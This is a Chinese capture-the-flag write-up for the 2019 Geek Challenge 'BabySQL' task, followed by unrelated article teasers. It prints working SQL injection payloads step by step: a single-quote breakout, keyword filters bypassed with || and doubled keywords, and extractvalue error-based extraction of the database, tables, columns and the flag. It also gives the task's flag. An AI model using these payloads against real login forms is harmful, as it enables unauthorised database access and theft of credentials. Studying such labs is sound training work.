BabySQL【2019极客大挑战】

news/2024/5/19 22:48:08 标签: mybatis, ctf, sql注入, 2019极客大挑战, BabySQL1

知识点:

  • 功能分析
    • 登录界面一般是 where username ='' and password = ''
    • 可以从username出手,注释掉and语句
  • 单引号闭合绕过
    • 通过测试和报错信息发现是一个单引号读取输入
    • 可以单引号闭合绕过
  • 关键字过滤
    • or and 过滤
      • || &&替换
      • 双写绕过
    • select from where mid substr substring 等关键字进行过滤了
      • 双写绕过
  • 报错注入
    • 登录成功界面没有有价值的回显信息,无法进行联合注入
    • 由于测试中发现有完整的报错信息,可以进行错误注入
    • 报错函数
      • exp(710)
      • extractvalue()
      • updatexml()
    • 报错函数最多展现32位数据
  • 既然能报错注入了,盲注肯定也是可以的
    • 布尔盲注
      • 根据页面是否成功登录判断信息
    • 时间盲注
      • 根据数据是否超时进行爆破数据
    • 不建议用这种方法,作者太狗了,数据太长了,爆破的话可能会出现很多的429数据包,影响识别结果,好像有一道类似的sql注入,也是该作者出的,只能盲注判断,数据包中出现太多的429数据包导致最后的出的信息总是残缺的,只能10字符左右为单位进行爆破才不会出现429,但是总长度213,而且前面表名、字段名都得这么做才行,太狗了,真是畜生啊,不细说了,都是泪呀

开始解题吧

查看界面是一个登录框

通过bp抓包进行测试

先判断注入类型

构造payload:username=3'+or+1=1--+

发现返回了完整的错误提示,一开始没明白是什么意思,更换payload测了几次后才发觉or应该被过滤了,尝试了or 'a'='a'--+  or '1'='1' --+;

找绕过手段

通过报错提示发现这里or被过滤了,直接用||替换发现成功绕过;当然这里也是可以利用双写绕过的,做的时候没想到双写绕过,但是在后面information处老是过不去才发觉中间有个or,双写成功绕过了,不细说了,后面见

既然能成功注入了,又获得了完整的错误提示

获取数据库名

获取数据库名;构造payload:username=3'+||+extractvalue(1,concat(0x7e,database(),0x7e))=1--+

成功获取到了数据库名为geek

好了,接下来就获取数据库中的所有表名吧

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whewherere+table_schema='geek'),0x7e))=1--+

这个过程中用到了很多的双写绕过;成功获取到了表名:b4bsql 和 geekuser

geekuser感觉很正常,应该是一个用户数据库,b4bsql这个数据库看着很可疑,flag应该就在这里了,先搞这个数据库

查看这个表中有哪些字段

构造payload:username=3'+||+extractvalue(1,concat(0x7e,(seselectlect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name='b4bsql'),0x7e))=1--+

成功出了字段信息,只有三个字段id、username、password

尝试获取一下用户名和密码信息

构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,181,30),0x7e))=1--+

成功看到了flag的影子;指出来一部分,还有一部分没出来

继续构造payload:username=3'+||+extractvalue(1,concat(0x7e,mimidd((seselectlect+group_concat(username,':',passwoorrd)+frfromom+b4bsql)+,211,30),0x7e))=1--+

好了,后面的部分也全部出来了

拼接起来是:flag{1272f1b5-2209-42c5-9d9f-c490ef6e05ec}

可能每次出现的flag都不一样,所以不要直接用我这个flag,掌握思路最重要

由于报错函数只能显示32位,所以我这里利用了截取函数(双写绕过),利用开头结尾两个~符号进行判断,中间30位为读取的数据,这里发现数据不完全是因为没用截取函数时后面的~没出现,所以采用截取函数看一下;实际数据两百多位,作者是真的狗,flag还放在最后面

按理说到这里就结束了

但是,处于好奇心,我还是看了一下geekuser中的数据,字段同样为id username password;但是数据只有一条,就是成功登录时的admin用户和密码

好了,到这里就真的结束了

虽然过程坎坷曲折,但是结果还是做出来了,flag自己找的

就是要硬气一回,轻轻松松拿捏作者~~~

就这,我还没发力呢~~~~~~

10


http://www.niftyadmin.cn/n/5457636.html

相关文章

JS(四)JavaScript中的数组操作

JS(四)JavaScript中的数组操作 01 创建数组 1.直接量形式创建数组 const numbers [1, 2, 3, 4, 5]; const fruits [apple, banana, orange];2.使用 Array 构造函数创建数组 const emptyArray new Array(); const arrayWithLength new Array(5); …

Javascript - 正则表达式相关的一些基础的范例

很久以前的一些学习资料&#xff0c;归档发布&#xff1b; 正则表达式的基础&#xff0c;以HTML代码来示范&#xff1a; <html><head><title></title><script language"javascript">function test(){//从页面要求客户输入一个字符串…

【Linux】网络编程套接字二

网络编程套接字二 1.TCP网络编程1.1TCP Server服务端1.2 TCP Client客户端 2.Server 多进程版本2.1普通版2.2 信号版 3.Server 多线程版4.Server 线程池版5.日志函数重新设计6.守护进程7.TCP协议通讯流程8.TCP和UDP 对比 喜欢的点赞&#xff0c;收藏&#xff0c;关注一下把&…

HarmonyOS入门--配置环境 + IDE汉化

文章目录 下载安装DevEco Studio配置环境先认识DevEco Studio界面工程目录工程级目录模块级目录 app.json5module.json5main_pages.json通知栏预览区 运行模拟器IED汉化 下载安装DevEco Studio 去官网下载DevEco Studio完了安装 配置环境 打开已安装的DevEco Studio快捷方式…

解析旅游者心声:用PySpark和SnowNLP揭秘景区评论的情感秘密

简介: 在本篇博客中,我们将探讨如何利用PySpark和SnowNLP这两个强大的工具来分析大规模的旅游评论数据。通过结合携程和去哪儿的数据作为示例,我们将探索如何从海量的评论中提取有价值的情感信息和洞察。PySpark作为一种分布式计算框架,能够处理大规模的数据集,为我们提供…

语音模块摄像头模块阿里云结合,实现垃圾的智能识别

语音模块&摄像头模块&阿里云结合 文章目录 语音模块&摄像头模块&阿里云结合1、实现的功能2、配置2.1 软件环境2.2 硬件配置 3、程序介绍3.1 程序概况3.2 语言模块SDK配置介绍3.3 程序文件3.3.1 开启摄像头的程序3.3.2 云端识别函数( Py > C ) & 串口程序…

车载以太网AVB交换机 gptp透明时钟 8口 千兆/百兆可切换 SW1100TR

SW1100TR车载以太网交换机 一、产品简要分析 8端口千兆和百兆混合车载以太网交换机&#xff0c;其中包含2个通道的1000BASE-T1采用罗森博格H-MTD接口&#xff0c;5通道100BASE-T1泰科MATEnet接口和1个通道1000BASE-T标准以太网(RJ45接口)&#xff0c;可以实现车载以太网多通道…

SqlServer(4)经典总结大全-技巧总结-数据开发-基本函数-常识整理-经典面试题

六、技巧 1、11&#xff0c;12的使用&#xff0c;在SQL语句组合时用的较多 “where 11” 是表示选择全部 “where 12”全部不选&#xff0c; 如&#xff1a; if strWhere !‘’ begin set strSQL ‘select count(*) as Total from [’ tblName ] where ’ strWhere …